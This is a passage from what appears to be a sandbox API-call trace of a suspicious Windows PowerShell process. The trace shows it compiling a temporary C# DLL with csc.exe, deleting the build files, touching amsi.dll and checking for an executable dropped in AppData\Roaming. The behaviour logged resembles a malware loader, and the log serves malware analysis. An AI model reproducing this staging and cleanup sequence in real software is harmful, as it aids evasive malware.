lpBuffer="") returned 0x0 [0044.562] CoTaskMemFree (pv=0x3d6f30) [0044.565] VirtualQuery (in: lpAddress=0x1c99e010, lpBuffer=0x1c99eed0, dwLength=0x30 | out: lpBuffer=0x1c99eed0*(BaseAddress=0x1c99e000, AllocationBase=0x1c010000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.566] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.566] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.566] CoTaskMemFree (pv=0x3d6f30) [0044.567] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.567] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.567] CoTaskMemFree (pv=0x3d6f30) [0044.567] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.567] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.567] CoTaskMemFree (pv=0x3d6f30) [0044.568] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.568] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.568] CoTaskMemFree (pv=0x3d6f30) [0044.573] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.573] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.573] CoTaskMemFree (pv=0x3d6f30) [0044.608] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.609] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.609] CoTaskMemFree (pv=0x3d6f30) [0044.610] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.610] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.610] CoTaskMemFree (pv=0x3d6f30) [0044.611] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.611] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.611] CoTaskMemFree (pv=0x3d6f30) [0044.613] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.613] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.613] CoTaskMemFree (pv=0x3d6f30) [0044.614] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.614] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.614] CoTaskMemFree (pv=0x3d6f30) [0044.615] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.615] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.615] CoTaskMemFree (pv=0x3d6f30) [0044.616] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.616] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.616] CoTaskMemFree (pv=0x3d6f30) [0044.628] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.628] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.629] CoTaskMemFree (pv=0x3d6f30) [0044.638] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.638] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.638] CoTaskMemFree (pv=0x3d6f30) [0045.277] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0045.277] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0045.277] CoTaskMemFree (pv=0x3d6f30) [0045.281] GetCurrentProcess () returned 0xffffffffffffffff [0045.281] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99e2a8 | out: TokenHandle=0x1c99e2a8*=0x30c) returned 1 [0045.298] CoTaskMemAlloc (cb=0x20c) returned 0x1b9f7650 [0045.298] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b9f7650 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0045.298] CoTaskMemFree (pv=0x1b9f7650) [0045.298] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1c99df60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0045.310] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv", nBufferLength=0x105, lpBuffer=0x1c99df90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv", lpFilePart=0x0) returned 0x2d [0045.311] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv", nBufferLength=0x105, lpBuffer=0x1c99de80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv", lpFilePart=0x0) returned 0x2d [0045.311] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.tmp", nBufferLength=0x105, lpBuffer=0x1c99dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.tmp", lpFilePart=0x0) returned 0x31 [0045.311] SetErrorMode (uMode=0x1) returned 0x1 [0045.312] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0045.313] GetFileType (hFile=0x348) returned 0x1 [0045.313] SetErrorMode (uMode=0x1) returned 0x1 [0045.313] GetFileType (hFile=0x348) returned 0x1 [0045.313] CloseHandle (hObject=0x348) returned 1 [0045.314] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.0.cs", nBufferLength=0x105, lpBuffer=0x1c99dde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.0.cs", lpFilePart=0x0) returned 0x32 [0045.314] SetErrorMode (uMode=0x1) returned 0x1 [0045.314] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.0.cs" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.0.cs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0045.314] GetFileType (hFile=0x348) returned 0x1 [0045.314] SetErrorMode (uMode=0x1) returned 0x1 [0045.314] GetFileType (hFile=0x348) returned 0x1 [0045.321] WriteFile (in: hFile=0x348, lpBuffer=0x3bd05c8*, nNumberOfBytesToWrite=0x77f, lpNumberOfBytesWritten=0x1c99e308, lpOverlapped=0x0 | out: lpBuffer=0x3bd05c8*, lpNumberOfBytesWritten=0x1c99e308*=0x77f, lpOverlapped=0x0) returned 1 [0045.322] SetErrorMode (uMode=0x1) returned 0x1 [0045.322] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0045.323] GetFileType (hFile=0x348) returned 0x1 [0045.323] SetErrorMode (uMode=0x1) returned 0x1 [0045.323] GetFileType (hFile=0x348) returned 0x1 [0045.324] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline", nBufferLength=0x105, lpBuffer=0x1c99dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline", lpFilePart=0x0) returned 0x35 [0045.324] SetErrorMode (uMode=0x1) returned 0x1 [0045.324] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.cmdline"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0045.325] GetFileType (hFile=0x348) returned 0x1 [0045.325] SetErrorMode (uMode=0x1) returned 0x1 [0045.325] GetFileType (hFile=0x348) returned 0x1 [0045.325] WriteFile (in: hFile=0x348, lpBuffer=0x3bd45d0*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x1c99e1b8, lpOverlapped=0x0 | out: lpBuffer=0x3bd45d0*, lpNumberOfBytesWritten=0x1c99e1b8*=0x13b, lpOverlapped=0x0) returned 1 [0045.325] CloseHandle (hObject=0x348) returned 1 [0045.327] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c99ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0045.327] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe", nBufferLength=0x105, lpBuffer=0x1c99dee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe", lpFilePart=0x0) returned 0x37 [0045.327] SetErrorMode (uMode=0x1) returned 0x1 [0045.327] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c99e0f0 | out: lpFileInformation=0x1c99e0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c4c061, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb4c4c061, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x980ccadb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15738)) returned 1 [0045.327] SetErrorMode (uMode=0x1) returned 0x1 [0045.327] CoTaskMemAlloc (cb=0x20e) returned 0x1b9f7650 [0045.327] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b9f7650 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0045.327] CoTaskMemFree (pv=0x1b9f7650) [0045.328] GetCurrentProcess () returned 0xffffffffffffffff [0045.328] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99e0b8 | out: TokenHandle=0x1c99e0b8*=0x34c) returned 1 [0045.329] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.out", nBufferLength=0x105, lpBuffer=0x1c99d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.out", lpFilePart=0x0) returned 0x31 [0045.329] SetErrorMode (uMode=0x1) returned 0x1 [0045.329] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.out" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.out"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x3bd6a80, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0045.330] GetFileType (hFile=0x348) returned 0x1 [0045.330] SetErrorMode (uMode=0x1) returned 0x1 [0045.330] GetFileType (hFile=0x348) returned 0x1 [0045.330] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.err", nBufferLength=0x105, lpBuffer=0x1c99d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.err", lpFilePart=0x0) returned 0x31 [0045.330] SetErrorMode (uMode=0x1) returned 0x1 [0045.330] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.err" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.err"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x3bd6dd8, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0 [0045.330] GetFileType (hFile=0x3a0) returned 0x1 [0045.330] SetErrorMode (uMode=0x1) returned 0x1 [0045.330] GetFileType (hFile=0x3a0) returned 0x1 [0045.331] WriteFile (in: hFile=0x348, lpBuffer=0x3bd8908*, nNumberOfBytesToWrite=0x196, lpNumberOfBytesWritten=0x1c99ded8, lpOverlapped=0x0 | out: lpBuffer=0x3bd8908*, lpNumberOfBytesWritten=0x1c99ded8*=0x196, lpOverlapped=0x0) returned 1 [0045.332] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0045.335] CoTaskMemAlloc (cb=0x204) returned 0x394460 [0045.335] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x3beb790, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1c99de30*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x348, hStdError=0x3a0), lpProcessInformation=0x3bd7080 | out: lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline\"", lpProcessInformation=0x3bd7080*(hProcess=0x35c, hThread=0x3a4, dwProcessId=0xacc, dwThreadId=0xad0)) returned 1 [0045.454] CoTaskMemFree (pv=0x394460) [0045.454] CloseHandle (hObject=0x348) returned 1 [0045.455] CloseHandle (hObject=0x3a0) returned 1 [0045.456] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x927c0) returned 0x0 [0047.175] GetExitCodeProcess (in: hProcess=0x35c, lpExitCode=0x1c99e068 | out: lpExitCode=0x1c99e068*=0x0) returned 1 [0047.175] CloseHandle (hObject=0x35c) returned 1 [0047.175] CloseHandle (hObject=0x3a4) returned 1 [0047.191] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.dll", nBufferLength=0x105, lpBuffer=0x1c99dd20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.dll", lpFilePart=0x0) returned 0x31 [0047.191] SetErrorMode (uMode=0x1) returned 0x1 [0047.191] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a4 [0047.192] GetFileType (hFile=0x3a4) returned 0x1 [0047.192] SetErrorMode (uMode=0x1) returned 0x1 [0047.192] GetFileType (hFile=0x3a4) returned 0x1 [0047.193] GetFileSize (in: hFile=0x3a4, lpFileSizeHigh=0x1c99e388 | out: lpFileSizeHigh=0x1c99e388*=0x0) returned 0x1400 [0047.193] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bec308, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x1c99e268, lpOverlapped=0x0 | out: lpBuffer=0x3bec308*, lpNumberOfBytesRead=0x1c99e268*=0x1400, lpOverlapped=0x0) returned 1 [0047.208] CloseHandle (hObject=0x3a4) returned 1 [0047.209] GetCurrentProcess () returned 0xffffffffffffffff [0047.209] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99e318 | out: TokenHandle=0x1c99e318*=0x3a4) returned 1 [0047.209] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.pdb", nBufferLength=0x105, lpBuffer=0x1c99dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.pdb", lpFilePart=0x0) returned 0x31 [0047.210] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.pdb" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.pdb")) returned 1 [0047.211] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline", nBufferLength=0x105, lpBuffer=0x1c99dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline", lpFilePart=0x0) returned 0x35 [0047.211] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.cmdline" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.cmdline")) returned 1 [0047.212] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.0.cs", nBufferLength=0x105, lpBuffer=0x1c99dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.0.cs", lpFilePart=0x0) returned 0x32 [0047.212] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.0.cs" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.0.cs")) returned 1 [0047.212] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.dll", nBufferLength=0x105, lpBuffer=0x1c99dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.dll", lpFilePart=0x0) returned 0x31 [0047.212] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.dll")) returned 1 [0047.213] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.tmp", nBufferLength=0x105, lpBuffer=0x1c99dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.tmp", lpFilePart=0x0) returned 0x31 [0047.213] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.tmp")) returned 1 [0047.213] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.err", nBufferLength=0x105, lpBuffer=0x1c99dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.err", lpFilePart=0x0) returned 0x31 [0047.214] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.err" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.err")) returned 1 [0047.214] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.out", nBufferLength=0x105, lpBuffer=0x1c99dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.out", lpFilePart=0x0) returned 0x31 [0047.214] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\atsamxnv.out" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\atsamxnv.out")) returned 1 [0047.431] CoTaskMemAlloc (cb=0xa) returned 0x2f1610 [0047.431] LoadLibraryA (lpLibFileName="amsi.dll") returned 0x0 [0047.432] CoTaskMemFree (pv=0x2f1610) [0047.459] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.459] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.459] CoTaskMemFree (pv=0x3d7040) [0047.463] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.463] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.472] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.472] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.472] CoTaskMemFree (pv=0x3d7040) [0047.484] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.484] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.484] CoTaskMemFree (pv=0x3d7040) [0047.485] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.485] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.485] CoTaskMemFree (pv=0x3d7040) [0047.499] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.499] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.499] CoTaskMemFree (pv=0x3d7040) [0047.509] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.509] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.509] CoTaskMemFree (pv=0x3d7040) [0047.519] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.519] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.538] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0047.538] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1c99e100 | out: lpConsoleScreenBufferInfo=0x1c99e100) returned 1 [0047.539] GetConsoleOutputCP () returned 0x1b5 [0047.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c99e090, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c99e090) returned 0 [0047.541] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0047.541] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1c99e0e0 | out: lpMode=0x1c99e0e0) returned 1 [0047.545] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0047.546] GetConsoleMode (in: hConsoleHandle=0x13, lpMode=0x1c99e100 | out: lpMode=0x1c99e100) returned 1 [0047.547] WriteConsoleW (in: hConsoleOutput=0x13, lpBuffer=0x3c4ced8*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x1c99e0d0, lpReserved=0x0 | out: lpBuffer=0x3c4ced8*, lpNumberOfCharsWritten=0x1c99e0d0*=0x1) returned 1 [0047.548] CloseHandle (hObject=0x13) returned 1 [0047.552] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0047.552] GetConsoleMode (in: hConsoleHandle=0x13, lpMode=0x1c99e100 | out: lpMode=0x1c99e100) returned 1 [0047.552] WriteConsoleW (in: hConsoleOutput=0x13, lpBuffer=0x3c4d0c0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1c99e0d0, lpReserved=0x0 | out: lpBuffer=0x3c4d0c0*, lpNumberOfCharsWritten=0x1c99e0d0*=0x2) returned 1 [0047.552] CloseHandle (hObject=0x13) returned 1 [0047.556] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0047.556] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0047.556] CoTaskMemFree (pv=0x3d7040) [0047.588] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x35c [0048.597] CloseHandle (hObject=0x35c) returned 1 [0048.603] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0048.603] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0048.603] CoTaskMemFree (pv=0x3d7040) [0048.604] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0048.604] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0048.605] CoTaskMemFree (pv=0x3d7040) [0048.609] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0048.609] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0048.609] CoTaskMemFree (pv=0x3d7040) [0048.617] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0048.617] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0048.617] CoTaskMemFree (pv=0x3d7040) [0048.621] CoTaskMemAlloc (cb=0x104) returned 0x3d7040 [0048.621] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d7040, nSize=0x80 | out: lpBuffer="") returned 0x0 [0048.621] CoTaskMemFree (pv=0x3d7040) [0048.655] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0048.655] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0048.656] CoTaskMemFree (pv=0x3d6f30) [0048.656] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0048.656] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0048.656] CoTaskMemFree (pv=0x3d6f30) [0048.658] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", nBufferLength=0x105, lpBuffer=0x1c99df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpFilePart=0x0) returned 0x2d [0048.658] SetErrorMode (uMode=0x1) returned 0x1 [0048.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: 